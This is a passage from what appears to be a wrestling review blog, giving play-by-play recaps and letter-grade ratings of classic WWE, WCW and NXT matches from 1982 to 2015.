Rating: A-. I still love the heck out of this match as they beat on each other like two people who couldn’t stand one another. That’s what this match needed to be as trying to have a regular match would have been a waste of time. Undertaker winning was the right call too, despite the plans allegedly changing due to HHH vouching for Shawn Michaels and Shawn showing up in no condition to perform. This match might not get the attention that others receive but that doesn’t mean it’s not excellent. Check this out and then watch their other two Wrestlemania matches for a nice change of pace.

Now I’m going to throw in a bit of a curve ball with the one Shawn Michaels vs. Undertaker match on the entire list.

From In Your House XVII: Ground Zero.

A few weeks ago, someone asked me if there was ever a trilogy of matches where every one received an A+. Shawn vs. Undertaker does, but that’s only their three most famous ones. What about their first big fight, which was by far the most personal? Shawn was guest referee for the main event of Summerslam 1997 and cost Undertaker the title by accidentally hitting him with a chair. Being kind of a jerk, Shawn laughed it off and then smashed Undertaker with another chair, turning full heel in the process. He’s also been hanging out with HHH and Chyna around this time, though the team hasn’t been named yet.

At the same time though, Undertaker has been dealing with Mankind and Paul Bearer among various personal issues (such as mentions of someone named Kane, though I’m sure that won’t lead anywhere. That means the scariest thing in wrestling: a ticked off Undertaker who is ready to destroy anything in his path. I’ve been watching wrestling for a long time and I’ve seen almost everything there is to see. To this day, a ticked off Undertaker, especially from this era, is more intimidating than anything I’ve ever seen.

Shawn Michaels vs. Undertaker
Date: September 7, 1997
Location: Louisville Gardens, Louisville, Kentucky
Attendance: 4,963
Commentators: Vince McMahon, Jerry Lawler, Jim Ross

Shawn hides behind the referee but Undertaker punches him out and stares Shawn out to the floor before the opening bell. Commissioner Sgt. Slaughter won’t let Michaels leave though so Undertaker throws the referee over the top at Shawn. Oh yeah it’s going to be one of those fights. The stalking begins as Shawn crawls up to the house set (Vince: “There’s nobody home!”) and gets press slammed onto the stage. A big right hand sends Shawn falling back down the ramp so choking can ensue.

There’s no referee and the bell hasn’t rung so this is all just pre-match torture. More right hands knock Shawn onto and then off of the Spanish announcers’ table. They head inside where Undertaker whips him over the top and back outside. Slaughter brings out a second referee and we actually start the match with Shawn scoring with a chop block. Shawn hammers away in the corner but gets shoved down hard twice in a row.

Another clothesline puts him outside again though and you can see Shawn looking around for any help he can get. Back in and Shawn begs off in the corner, earning himself a good crotching. A clothesline actually gives Undertaker two. I’m surprised he’d cover that early. Some driving shoulders look to set up Old School but Shawn returns the crotching favor.

Shawn’s slingshot dive is pulled out of the air and Undertaker posts him for good measure. Back in and Undertaker starts working on the back with forearms and a backdrop for two (nearly in the same spot as the first cover, which is a detail that probably has no importance whatsoever). Shawn tries to bail again but gets his tights pulled down (as the wife swoons). There’s a swinging neckbreaker but Undertaker sits up, sending Shawn bailing to the floor in fear.

It’s chair time but Undertaker kicks him in the face to break it up. The referee, having a death wish, takes the chair away from Undertaker, who Shawn dropkicks into the referee for good measure. With no referee, Shawn….drops back to back top rope elbows for a delayed two. Cue Shawn’s insurance policy Rick Rude to throw Shawn some brass knuckles so a second referee can count two.

That’s not cool with an appearing HHH and Chyna, who pull him out to the floor as well. They send Undertaker knees first into the steps as Shawn is nice enough to help one of the referees up…only to knock him back down again. What a degenerate. The slow beating continues but Undertaker easily wins a slugout. HHH and Chyna interfere again though, allowing Shawn to score with a top rope ax handle.

Back in and both finishers are blocked with Undertaker throwing Shawn into the corner for a beating. A shot with the brass knuckles knocks Shawn silly and HHH eats a shot as well. The referee crawls over for a very slow two as this match is somehow still going. That earns the referee a chokeslam so the third referee comes in to throw it out at 16:01.

Rating: B+. I love this match as it’s just pure chaos. It wouldn’t have made sense to have them do a regular match here as it should have been all over the place in a wild brawl. Why would you expect two guys who absolutely hate each other to try to have anything resembling a match. I still do love the third referee coming in to call it probably ten minutes after it should have been called in the first place. It’s the weakest of their series but this wasn’t supposed to be a regular match.

Undertaker doesn’t care and chokeslams HHH onto Shawn, but Michaels scores with a superkick to tie Undertaker up in the ropes. The referee keeps calling for the bell for some reason, even as Undertaker kicks the chair into Shawn’s face. HHH saves Shawn from a Tombstone as agents come in and get beaten down as well. There’s a Tombstone to HHH as wrestlers come in and have a big more success in breaking things up. Undertaker is like screw that though and debuts the Taker Dive to get at Shawn again but DX finally bails to get out of this alive and end the show.

That was one kind of a brawl so let’s try another one.

From King of the Ring 2001.

Shane McMahon had shocked the world and bought WCW right before Wrestlemania XVII and that wasn’t cool with Kurt Angle. A feud started and the only solution was a street fight as Shane isn’t exactly a wrestler. It should also be noted that this is Angle’s third match of the night after Shane helped him win the King of the Ring semifinal and then cost him the finals in a rather smart move. You might remember this one.

Shane McMahon vs. Kurt Angle
Date: June 24, 2001
Location: Continental Airlines Arena, East Rutherford, New Jersey
Attendance: 17,777
Commentators: Jim Ross, Paul Heyman

Street fight. Angle takes him down before the bell and rides Shane like an Olympic Gold Medalist would ride a non-wrestler. Some armdrags and a leg trip put Kurt down and Shane bails to the floor to start messing with Kurt’s head. That’s fine with Kurt, who drops down and lets Shane have a free shot. Shane agrees but gets taken down with as much ease as you would expect. A belly to belly drops Shane again as Angle is bleeding from the eye. After a second suplex, Angle offers him another chance on the mat but this time Shane kicks him in the ribs in a smart move.

Angle takes him down again without much trouble but gets sent outside to give Shane a breather. Shane dives off the barricade with a clothesline for one of his first big shots as they’re already banged up just a few minutes in. It’s kendo stick time with Angle taking some hard shots to the back before missing a charge into the post. A shoulder drives Kurt into the steps and now we’ll get to the real weapons. This time it’s the trashcans with the accompanying lids but first Shane gets in a few shots with a handicap parking sign. I really hope he didn’t steal that thing.

With the wrestling not working, Shane takes him down into an ankle lock and then a Sharpshooter. A rope is grabbed without too much effort so Shane goes with some jabs to the face. Angle is down so Shane loads up the shooting star onto the trashcan onto Kurt, only to have the mat and part of the moved can. They fight up the aisle with Shane suplexing him, breaking Angle’s tailbone in the process.

Angle sends him into part of the set (featuring the massive metal throne, which is still one of my favorite sets ever) before going to the famous part of the match: a belly to belly suplex against the glass pane, which DOESN’T BREAK, leaving Shane to fall on his head on the concrete. With Shane insulting him about how weak he is, Angle LAUNCHES him through the glass in a rather terrifying visual. Since that’s real glass, both guys are badly cut open when Shane bounces off the other piece of glass twice in a row.

Again Shane insults Angle’s strength so Kurt THROWS HIM THROUGH THE GLASS HEAD FIRST. In the words of Jim Cornette (you knew I was working him in here somehow): “These are crazy people.” Since Shane is dead weight, Angle commandeers an anvil case and wheels what’s left of Shane back to the ring. The amount of blood here is insane and I can understand why Vince thought about coming to the ring and stopping this multiple times.

They get back in….and Shane kicks out, giving us the great visual of Angle sitting up and falling over, nearly in tears that we’re not done yet. A low blow cuts Angle down and Shane starts swinging with a trashcan lid. There’s an Angle Slam to Kurt for a delayed two. Angle catapults him onto the top and grabs a big wooden board, which he bridges over the ropes. That means a SUPER ANGLE SLAM with Shane bouncing off the mat, which if FINALLY enough to end Shane at 25:58.

Rating: A-. This one has lost a bit of steam over the years but sweet goodness they beat the heck out of each other in this. Having Angle come in a little spent was the right call, as was having Shane go down in the end. There comes a point where you can’t buy Angle losing here and it makes sense that he had that little extra in the tank to hang on in this one. Still though, outstanding brawl and one of the most physical matches you’ll ever see in company history.

Let’s try something a little less physical and more about technical skill.

From Takeover: R-Evolution.

Oh you knew NXT was going to get in here somehow. Back in 2014, Sami Zayn was tired of losing all the time and started a storyline called Sami’s Road to Redemption. This journey saw Sami defeat all of his old foes on his path towards the forever elusive NXT Title. He had his shot against champion Adrian Neville but came up short when he was too worried about Neville injuring his ankle. This led Sami to put his career on the line as he was tired of letting his own emotions cost him his goals. It wasn’t a heel turn, but it certainly felt like one was possible around this time, for either guy actually.

NXT Title: Adrian Neville vs. Sami Zayn
Date: December 11, 2014
Location: Full Sail University, Winter Park, Florida
Attendance: 400
Commentators: Alex Riley, Rich Brennan, Corey Graves

Sami is challenging and we get the eternally cool tracking shots from the back to the entrance for both guys. You can feel the energy in Sami’s entrance too as this just feels big. Neville is heartily booed but it’s more the crowd being pro-Sami than anti-champ. Sami soaks in the chants for the minute plus as we’re waiting on first contact. A front facelock takes Sami to the mat for all of a few seconds as Graves tries to turn this into a soccer analogy.

Neville nips out of a headscissors and it’s an early standoff. It’s time to work on the arm with the champion slowing things down and landing on his feet when Sami tries an armdrag. Back up and Neville keeps flipping around to avoid Sami until he gets caught in a tilt-a-whirl backbreaker to send him outside. That means a moonsault from the apron to bring the fans right back to life.

Back in and Neville kicks him in the back of the head to set up a chinlock as Sami just can’t can’t keep anything going. Neville drops some knees for two, followed by a middle rope dropkick for the same. Sami comes right back with those hard clotheslines and a dropkick of his own but Neville snaps off a good looking hurricanrana. A backdrop puts Neville on the floor though and Sami brings the crowd right back to life with his great running flip dive.

Back in and Neville cartwheels into an electric chair but Sami spins him right back down into the Blue Thunder Bomb for an even closer two. I mean, it wasn’t a move that was going to get him a win but at least it looked good. Neville is right back with a German suplex and a sitout powerbomb is good for another near fall. A high crossbody gives Sami his first real near fall but a slugout goes to the champ.

Sami scores with another clothesline but can’t hit the Helluva Kick. The Red Arrow hits knees and Sami slaps on a Koji Clutch to bring the crowd right back up to a roar. Sami kicks out of a victory roll and the ref gets bumped, which isn’t the most common thing around here. In classic Sami fashion, he goes to check on the ref but gets superkicked and reverse hurricanranaed for the closest near fall yet.

Now it’s Neville’s turn to be shocked as the fans are all over this stuff. Neville’s kick to the head misses and Sami rolls some German suplexes into a half and half suplex. It’s still too early for the Helluva Kick but Sami settles for the diving tornado DDT through the ropes. Back in and the Helluva Kick connects but the ref gets bumped with Neville possibly pulling him in the way. Sami grabs the title but can’t bring himself to do it. The distraction lets Neville roll him up for tow but it’s the exploder into the corner, setting up the Helluva Kick to make Sami champion at 23:17.

Rating: A. This is NXT in a nutshell: it’s all about the journey, but sometimes the end goal is outstanding as well. Sami being built up to the title for over a year and then finally taking it from Neville to end his very long run was a perfect story and the fans were with him every step of the way. This was Sami winning the big one and it was an outstanding story, which isn’t something you get very often. The fact that it was a classic helps as well. Great match, great story, great moment, and the Match of the Year in 2014.

Post match Sami celebrates for a long time until his best friend Kevin Owens, who debuted earlier in the night, leads the locker room out to celebrate with him. They lift him up as confetti falls but Neville is back up. Sami offers him a handshake but Neville kicks the hand away and they hug to confirm Neville’s face status. Everyone else leaves and it’s Sami and Owens left. They walk up the ramp with the copyright notice coming up….and Owens turns on him, slamming Sami’s head off the ramp and powerbombing him on the apron to end the show. That’s still one of the most brilliant endings I’ve ever seen to a show and it still holds up.

I love that match for all the positive reasons, so now let’s look at one that I love for being such a disaster.

From Starrcade 1997.

I’ve spent years ripping on this match and it wouldn’t feel right if I didn’t do it again. For well over a year, Hollywood Hogan and the NWO had dominated WCW. The company had waited for someone to rise up and save them and it was clear that the man would be Sting. This lead them to Starrcade 1997 and the biggest match in WCW history. The levels of disaster this would hit is off the charts and I’ve yet to see anything get close to it.

WCW World Title: Hulk Hogan vs. Sting
Date: December 28, 1997
Location: MCI Center, Washington D.C.
Attendance: 17,500
Commentators: Dusty Rhodes, Tony Schiavone, Mike Tenay

Hogan comes out first and struts to the ring because six months of running from Sting means nothing when he can show off on the grandest stage. Sting comes out to the awesome voiceover and with the lightning and thunder all around. It’s an incredible entrance and the peak of Sting’s power in WCW. Then the bell rings.

It should be noted that Nick Patrick, who was part of the NWO over the course of the year, is guest referee. Hogan shoves him away so Sting slaps him in the face. A lockup goes to Hogan and he drives Sting into the corner, only to get slapped again. That’s enough of this selling for Hogan so he punches Sting several times, even dedicating one to his son. We’re three minutes in and Sting’s offense has consisted of two slaps to the face.

Hogan misses some elbow drops and a dropkick puts him on the floor for a total of no follow up. The feeling is there but the match itself has been a grand total of nothing so far. Back in and Sting hits another pair of dropkicks and we’ll stall some more. Hogan comes back in and we hit a headlock to bring the offense up to two slaps, three dropkicks and a headlock at the six minute mark.

The hold is broken and Hogan hits a clothesline with Sting staying down for over fifteen seconds until Hogan picks him up. A suplex is no sold though and I’m all the more confused. Hogan pokes him in the eye to cut off another comeback as this is getting harder to watch. They head outside with Hogan hitting him in the back with the bat to continue the beating.

Sting tries a splash but hits the barricade, allowing Hogan to hammer away even more and crotch him on the barricade. Back in and the big boot and legdrop retain Hogan’s title at 11:20 but Bret Hart won’t let the bell ring. He decks Patrick and throws Hogan back inside. The bell rings for a restart and Sting comes to life with rights and lefts in the corner. The Stinger Splash sets up the Scorpion Deathlock to make Hogan give up at 12:54.

Rating: R. For Russo, who would probably think this was too much. For me, this was the death knell for WCW. I know they had a long time left from here but this was the big moment after the better part of a year and a half and they screwed it up. This should have been the biggest layup the company ever had and somehow we got this mess.

Let’s look at some of the mistakes in this and I’ll probably miss some of them.

First of all, the match was completely wrong. Sting comes back for his first match in over a year and is almost squashed. Like I said, six minutes in and he had all of maybe five moves with a dropkick as the high spot. There was no fire, there was no emotion and there was WAY too much Hogan. The fans were into the thing throughout but it never came close to feeling energetic.

That brings us to the other half of this problem: Hogan acted like he was in a glorified workout. He strutted to the ring, shoved Sting around to start and acted like this was all a big game. Now, if that’s what he had done for the last year then fine, but Hogan had run scared of Sting for the better part of a year and now we’re supposed to buy that he’s all good and the Hogan of old? It threw the whole thing way off and made Hogan look like the star instead of Sting.

Then there’s the big one: the ending and going with something screwy instead of a regular win. The problem here is mainly in the way the fall went down, which made Sting look like he got beat clean. Over the years there have been various ideas of why this happened but none of them really make sense when you think about the.

There’s the idea of Sting showing up in no condition to perform, though if that was the case he gutted it out just fine, especially in the last minute or so, which makes me think that’s a bunch of nonsense. Or there’s the idea of the count allegedly being a fast count that didn’t look especially fast. Again, that doesn’t hold up as if that’s the case, Sting should have kicked out a split second before the three but he’s still down long after the pin, basically making it look like Hogan just won clean in about eleven minutes.

No matter how you look at it, this match basically came and went with Hogan beating Sting up and then winning in short order. You can have all the screwiness you want but at the end of the day, this was Hogan looking good and Sting looking like a clown, which was the very last thing they needed to do. WCW had waited for someone to destroy Hogan once and for all but he was strutting to the ring, treating Sting like a joke and then pinning him with the big boot and legdrop.

Oh and don’t forget Bret. I know it’s not even two months after Montreal but who in the world decided that we needed a Montreal reference in the ending? If they had done the fast count properly then maybe it’s a possibility but they couldn’t even do that right (WCW? Screwing up something easy?).

Bret is out there to stop a screwjob before it’s even happened (he was grabbing the timekeeper’s arm before he could even ring the bell, meaning he was at ringside long before Hogan had done anything nefarious. Of course this is also assuming that you knew of Montreal as a WCW fan, which was far from a guarantee as it wasn’t quite the infamous moment it would later become. If you’re not familiar with what the WWF is doing at this point, this made no sense as Bret had barely been around WCW at this point. It’s another idea that didn’t need to be there and came off like a disaster.

I’ve watched this match several times over the nearly twenty years since it took place and it’s one of the only matches that doesn’t lose its impact over time. The more I watch it, the more amazed I am at how horrible of a disaster this really is. WCW managed to screw up the easiest win in wrestling history with Hogan getting to look great at the company’s expense. Couple that with the title win meaning nothing because WCW decided to hold the title up and wait until February with Hogan having it back by April and it’s WCW in a nutshell.

And now, for a better Sting match.

From Bash at the Beach 1992.

This is one of my favorite WCW shows and one of the better ones they’ve ever produced. The idea here is simple: Lex Luger was sending monsters after Sting and one of them is Cactus Jack, who came out of a gift box. After dispatching Luger and finishing his feud with the Dangerous Alliance, it’s time to put Jack away. Jack is rather insane and agreed to face Sting in a falls count anywhere match, which is Jack’s specialty. The title isn’t even on the line because Jack is only interested in hurting Sting, which is quite the change of pace and a good example of Jack being a fascinating character.

Sting vs. Cactus Jack
Date: June 20, 1992
Location: Mobile Civic Center, Mobile, Alabama
Attendance: 5,000
Commentators: Jim Ross, Jesse Ventura

Falls Count Anywhere, which basically means hardcore here. They start it out on the ramp with Sting backdropping and bulldogging him onto the carpeted wood for an early near fall. The Stinger Splash hits the corner though and Sting falls down onto the floor. Jack follows him with an elbow off the apron onto bare concrete (thanks Bill Watts), followed by a swinging neckbreaker. A sunset flip off the apron onto the concrete gets two more but Sting backdrops him over the barricade.

There’s a suplex onto the floor for two and Jack is sent hard back to ringside. They actually get inside (Jesse: “I don’t believe it!”) as the announcer says five minutes have passed. It’s not even four but WCW can’t be bothered with telling time. Jack kicks away at the knee before driving a running knee into the ribs.

We actually hit a bodyscissors of all things but Sting quickly elbows his way to freedom. A Cactus Clothesline takes them outside again where Jack scores with some chair shots. Just to keep things nuts, they do a pinfall reversal sequence on the floor. As is almost always the case, the Stinger Splash hits the barricade but Jack’s knee gives out in a piledriver attempt.

Jack misses a middle rope elbow to the floor, landing HARD on his knee. Sting slams him on the ramp and scores with some chair shots of his own but it’s too early for the Scorpion. The double arm DDT on the ramp gives Cactus two but Sting is right back up with a running clothesline. A clothesline from the top puts Jack away at 11:24.

Rating: A-. Yeah it’s still awesome and still a very hard hitting fight when you remember that most of it is taking place ON CONCRETE. Jack’s elbow drop alone should make you cringe and the rest of the match is just as painful looking. This felt like two people who just wanted to hurt each other and that’s exactly what they were going for here. Check this out if you haven’t seen it in awhile as it made me cringe more having not seen it in a few years.

That worked so well that we’ll try another violent Jack match.

From Halloween Havoc 1993.

I’ll ignore all of the ridiculous stuff about Jack losing his memory and thinking he was a sailor in Cleveland (dang it WCW) and skip to this where he said he was faking the whole thing and wanted revenge, along with Vader’s blood. Vader’s World Title isn’t on the line here for whatever reason, though I’d bet on it being WCW being stupid again.

Vader vs. Cactus Jack
Date: October 24, 1993
Location: Lakefront Arena, New Orleans, Louisiana
Attendance: 6,000
Commentators: Tony Schiavone, Jesse Ventura

Non-title and a Texas Death Match, which is basically Last Man Standing, but you have to get a fall before someone can be counted. Also, there’s a thirty second rest period between the fall and the count beginning, meaning you REALLY have to hurt the other guy to put them down. They go at it on the ramp and Vader loses his mask in a hurry. Well it’s not like it’s hiding much anyway.

Vader punches the post by mistake and Jack hits him in the chest with a chair. With Vader knocked up against the barricade, Jack bashes him in the head with a camera, followed by a chair to the same general area. The fans are WAY into Jack here and it’s so strange seeing him as a full on face in WCW. They head inside with Vader (or ADER as the side of his tights say since the top is covering the V) just blasting him with a clothesline.

Some of the shots to the head bust Jack open and it’s time to head to the ramp again. Vader’s manager Harley Race tries to bring in a chair but Jack hits Vader with it instead as they fight into the awesome graveyard set. They fall into the Vader grave (awesome visual) and the referee won’t follow them in. A bloody Vader follows Jack out and gets clotheslined for the first fall but Vader beats the count.

Jack finds a wooden cactus (they’re native to New Orleans you know) and knocks Vader off the ramp. There’s the big elbow off said ramp for another three count. Vader beats the ten again and it’s table time. The referee actually sets the table up for them in the corner and Vader’s head bounces off of it for two. Vader blocks the sunset flip off the apron but sits on the floor by mistake (thankfully there are mats again).

Jack tries a running flip dive over the barricade but just bounces off Vader in a bad looking crash. A backdrop puts Jack at ringside again and a SICK chair shot knocks him even sillier. Just in case, Harley has a taser in his pocket and shoves the camera away from seeing it. Back in and Vader’s moonsault is good for a pin and, of course, Jack beats the count. You know they need something more than a simple Vadersault to win this thing.

Jack jumps onto Vader’s back and they head to the ramp where Vader just drops backwards, jumping into the air to make it even worse. That’s still one of the sickest, most painful looking spots you’ll ever see and Jack ruptured a kidney (partially on purpose, as he was trying to claim an insurance policy to get out of the ring) in the process. A HARD chair shot and a DDT onto the chair put Cactus out with medics coming to check on him before the pin. Jack gets up anyway but Race electrocutes him for the win at 15:58.

Rating: A-. This one is more hard to watch than anything else (especially that thud on the ramp, which needs to be seen to be believed) as Jack was just beaten senseless here. It’s still an outstanding brawl though and one of the best fights you’ll ever see in WCW. Thankfully Foley can still remember his name today so hopefully it’s not as bad as it seems.

Earlier on I mentioned that this was going to be a collection of matches and a special surprise. We’ll do that surprise now.

From the WWE Hidden Gems Collection.

Yes we’re going to Georgia as I’m FINALLY watching the Last Battle of Atlanta. Tommy Rich, the biggest face that ever faced in Georgia Championship Wrestling was involved in a mega feud with Mad Dog Buzz Sawyer that lasted nearly two years. They finally blew the thing off in a cage with Sawyer’s manager Paul Ellering in a shark cage above the regular cage. This is considered the inspiration for the Cell but given that it’s just a regular cage with a top on it, I’m not sure how well that holds up. Of note: this was originally going to be the only thing I did for the 5000th review but you know how I tend to get carried away.

Tommy Rich vs. Buzz Sawyer
Date: October 23, 1982
Location: Omni, Atlanta, Georgia

No commentary here as it’s just a filmed house show match. Of note, it’s announced as the Battle of Atlanta with the “last” part never mentioned. It is however mentioned that they’ll never fight again after this. Rich elbows him in the head to start but Sawyer swings the arm into the cage to take over.

The arm is wrapped around the ropes as this is a big more scientific than I was expecting. Sawyer bites at the head and you know the blood is coming sooner or later. A low blow gets Tommy out of trouble and there’s the blade job. Buzz sends him into the cage and bites away like a villain should. A low blow cuts Sawyer down but he can’t follow up. Instead Sawyer rubs his head into the cage as this has been one sided so far.

Rich comes back with a right hand and a big boot though before biting Sawyer’s head open for a change. Rich gets in a piledriver and the referee (on the floor, over a house mic) starts counting Sawyer down. Buzz is up though, allowing Rich to send him into the cage again. Sawyer does the same right back though and scores with a piledriver of his own. With nothing else working, Rich blasts him with a right hand but gets caught in a backbreaker for two (as the referee now counts a cover).

Rich’s blond hair is almost entirely red now as Sawyer misses an elbow to put them both down again. They slug it out from their knees until Rich misses a middle rope fist drop. Sawyer is back up with a crossbody but only hits the cage. Rich sends him into the cage a few times but can’t follow up. He rams Sawyer in again before falling down and crawling over for the pin at 12:05.

Rating: B. It’s a good cage match but obviously this is much more about the history and it being such a hard to find match for so long. That being said, the blood was great here and it felt like they were out to finish each other once and for all. It would have been better had I seen the build but for a standalone blowoff, this was quite good.

We’ll go with another violent match (a trend, which I’ll get to later) from a different era. It’s also a rematch but unfortunately it’s not the final match between the two.

From Judgment Day 2005.

As you probably know, John Cena won his first World Title at Wrestlemania XXI. However, he had a rematch with former champion John Bradshaw Layfield and this time around it was Layfield’s style: an I Quit match.

Smackdown World Title: John Cena vs. John Bradshaw Layfield
Date: May 22, 2005
Location: Target Center, Minneapolis, Minnesota
Attendance: 12,000
Commentators: Michael Cole, Tazz

Layfield is challenging and comes out in the white limo with the bull horns. He also comes out with the regular title belt because he hates Cena’s spinner title. Well he’s right on some things. To counter the limo, Cena comes out on a flatbed truck with a DJ playing him to the ring. He even walks over the limo and kicks the horns off to make this personal before they’re even in the ring together.

Cena headlocks him down to start before going with an armdrag into an armbar. Layfield comes back with a forearm to the back and a DDT before trying a cover as you might expect someone to do. Cena fights back with a clothesline to send JBL outside and that might mean it’s time to crank up the violence. Both guys are whipped into various objects and it’s Cena being knocked into the crowd.

Something the camera misses (revealed as a swinging neckbreaker) puts them both down on the concrete and it’s already back to ringside. Cena won’t quit, even when JBL threatens to own a certain part of his body. Given some of the stories about JBL, I would tread VERY carefully there. Another whip sends Cena into the steps and it’s time to give the champ a whipping.

JBL loads up a piledriver through the table but of course that’s not happening. Instead it’s a backdrop through the other table and a heck of a monitor shot to JBL. That’s fine with JBL (Dang it why do they both have to be named John?), who BLASTS him with a chair to bust Cena open. A shot with the steps has easily the worst cut Cena has ever had, to the point where his chest is covered in just a few moments. Three straight Clotheslines From JBL set up a choke with Cena’s chain as the blood is already disturbing.

Cena slugs his way up but gets low blowed right back down. With that not working, JBL hits him in the head with the microphone and demanding that Cena quit. That just earns him some clotheslines and the ProtoBomb into the Shuffle. Cena’s blood is all over JBL and it literally looks like Cena is wearing a mask. The FU drops JBL but he flips Cena off and walks up the aisle. That’s fine with Cena as he drops JBL on the hood of the limo.

JBL scores with another swinging neckbreaker on the same hood, denting it up and covering it with blood. They go to the electrical area with JBL choking with a cord, meaning you can guarantee sparks soon. Cena throws him face first through a TV to bust JBL open. It’s a good cut but Cena is one of the worst I can remember seeing in company history so it doesn’t have the same effect.

Now it’s JBL going through the window of the limo (Cole: “JBL IS BEING ABUSED!”) and trying to crawl inside, only to have Cena throw him into the open door. That doesn’t break the door off so Cena kicks it off and throws it away. They go onto the flatbed truck from Cena’s entrance and JBL grabs a DDT for a breather. With that not being enough, JBL climbs onto a speaker to choke with another cord, only to be slammed through a table. Cena goes back to the truck, RIPS OFF A METAL EXHAUST PIPE, and heads back to JBL. Just the threat of contact is enough to make JBL quit at 22:45 in a smart ending.

Rating: B+. This is a completely different side of Cena and I loved what I saw here (save for Cena losing a stupid amount of blood). The ending is the best part as it’s not even what Cena did but what JBL knew he was capable of doing to make him quit. That makes JBL, the big tough guy, look both like a coward and a defeated man at the same time. That’s a hard trick to pull off but this turned Cena into a violent killer, which is a completely different side of him and in a good way. Another great and insanely bloody brawl.

The bloody Cena is shocked that he won that way but uses the pipe to put him through the logo wall anyway. Sweet goodness that’s a lot of blood.

Let’s try something a lot less bloody and what I called the co-Match of the Year for 2015.

From Takeover: Brooklyn.

If there’s one thing NXT excels at, it’s the long form story. They know how to build up a story for months and pay it off at the right time. Sami Zayn’s Road to Redemption might have done it first, but this one might have done it better. Bayley started out as a goofy fangirl but wound up climbing the card into a kind of cult favorite character. She never could reach the title, but she reached the point where she could be a serious threat. After defeating everyone else in the division (and getting the world’s cutest fan in the form of 10ish year old Izzy), Bayley’s title shot was set against Women’s Champion Sasha Banks.

The idea here was all about the serious wrestler vs. the fun character, though the fun character was no slouch. This was also part of the Women’s Revolution as Sasha, Charlotte and Becky Lynch had moved up to the main roster in the midst of the best American women’s push of all time. While this match wasn’t going on last, it was without a doubt the main event of the evening, which was a really amazing moment when you think about it.

Women’s Title: Sasha Banks vs. Bayley
Date: August 22, 2015
Location: Barclays Center, New York City, New York
Attendance: 15,589
Commentators: Byron Saxton, Corey Graves, Rich Brennan

Bayley is challenging and I will never get over the level of popularity she had reached around this time. She wasn’t quite there yet but she would soon be the most popular person in NXT, gender aside. Banks rides into the arena in a Cadillac Escalade with four very large bodyguards. We hit the Big Match Intros and this feels like a major match on the level of any men’s main event. I know I’m harping on this but it’s nothing short of remarkable when you consider we’re just a year or two removed from the women being lucky to get eight minutes in a thrown together pay per view match.

They stare each other down to start and Sasha basically laughs at Bayley for thinking she’s on this level. The fight is on with Bayley getting the better of it and hitting an elbow to Sasha’s back for two. The crowd is already WAY into this as they know the ending already and are fired up anyway. That’s NXT in a nutshell and there’s nothing wrong with that.

Bayley shrugs off being sent into the buckle and ties her in the Tree of Woe for a running elbow and a near fall. A baseball slide underneath the ropes in the corner drops Banks again but she kicks Bayley off the ropes for a crash. Back in and Banks scores with a sliding shot to the head for two more. We hit the neck crank and the fans just won’t stop cheering for Bayley. Back up and Banks tries the double knees in the corner, only to have Bayley catch her on her shoulders.

That’s fine with Sasha, who pulls Bayley face first into the corner. With Bayley stunned, Banks puts her on the top for the double knees to the ribs and Bayley is in so much trouble that her hair is messing up. Banks talks trash about how Bayley is such a loser so Bayley KICKS HER IN THE FACE and hammers away. That just earns Bayley an arm snap over the top rope and control changes again. Sasha starts ripping the tape off Bayley’s recently broken hand and sends it hard into the steps.

The hand is crushed behind the steps and Banks is all fired up. The thing is she’s also starting to lose some of her poise and cool as she can’t keep Bayley down. Keep that in mind for later….and by later I mean after Banks hits a HUGE over the top (and over the referee) flip dive to take Bayley down again. Back in and Banks tries a rope walk but Bayley shoves her out to the floor in a heap.

They slug it out in the boo/yay style with Bayley getting the better of it and suplexing Banks into the corner. Banks blocks the Bayley to Belly though and grabs the Bank Statement in the middle of the ring. Bayley crawls for the ropes and in the spot of the match, Banks stomps on Bayley’s bad hand until Bayley kicks off the rope and rolls over into a Bank Statement of her own. I’ve seen that reversal a dozen times and I’m still not sure I get how she did it.

The fans (including me both live and after I’ve seen it a few times) go NUTS as Bayley cranks back but Banks slips out. The Bayley to Belly gets two and Bayley is stunned. They head up top with Banks shoving off a super hurricanrana attempt, sending Bayley down ONTO HER HEAD. Thankfully she’s ok enough for Banks to drop the top rope double knees for two more and frustration sets in hard.

They go up in the other corner and Bayley hits a reverse super hurricanrana to knock Banks silly. The Bayley to Belly is academic and Bayley is champion at 18:16. The part that I love about the ending: Banks was DONE after the hurricanrana. She didn’t get caught in a quick pin after the Bayley to Belly. That just put her out of her misery. It makes Bayley look like the winner instead of someone who just caught Banks.

Rating: A. I absolutely love this match and I still do every time I watch the thing. Bayley is basically NXT’s Sting: maybe not the greatest worker (though certainly good) but the fans BELIEVE in her. That’s more important than anything she can do in the ring and it gives you moments like this. The crowd carried this one way beyond anything it was going to be able to do on its own and made it an instant classic.

One other thing that makes this match so great is Sasha falling apart by the end. She comes to the ring in full Boss mode, with the expensive car, the personal security, the sexy outfit (A major plus for her when she gets the right color scheme working. Again though: it’s never discussed and it’s a detail rather than a focal point, which is how it should be.) and all the swagger in the world.

By the end, she’s been completely broken down where she can barely stand and is just throwing right hands to try and stay in it. Her hair is messed up, she’s drenched in sweat and looks like she’s been in a war. All the Boss stuff is gone and it’s just Sasha vs. Bayley until one of them can’t stay up. I love that kind of storytelling in a match and this one did it to near perfection.

Bayley celebrates until Charlotte and Becky Lynch join her and Sasha in the ring. The Four Horsewomen pose together for the first time in the ring to show the new generation. That might be the image of the year to go with the Match of the Year. Seriously go watch this match and see how much you start cheering for Bayley by the end. It’s that good.

That’s one of the finest performances you’ll see from this era. Now let’s go back a few eras and see something completely stupid yet a huge guilty pleasure at the same time.

From Halloween Havoc 1991.

This is another one where I watched the tape (or maybe it was a recording of the pay per view) over and over for years. The opening match of this show was one of the most WCW-est of all WCW matches: the Chamber of Horrors. Basically imagine the big blue cage (gray in this case) made into the Cell (without a roof but with weapons provided, including a casket with a random masked man inside). Then take eight pretty big names and throw them inside in teams of four. Still with me so far? It’s not that bad until now.

Then take a huge electric chair and put it in a small cage above the ring that is eventually lowered into the ring. Someone has to be put in the chair and strapped down until another member of the team can climb the cage wall and throw a lever TO ELECTROCUTE THE GUY IN THE CHAIR. Oh sorry: according to the ring announcer, you “render the opponent helpless”. He does however call the match “electrifying” so they’re not exactly hiding what they’re doing.

Chamber of Horrors
Date: October 27, 1991
Location: UTC Arena, Chattanooga, Tennessee
Attendance: 8,900
Commentators: Jim Ross, Tony Schiavone

El Gigante/Sting/Steiner Brothers

Cactus Jack/Diamond Studd/Abdullah the Butcher/Big Van Vader

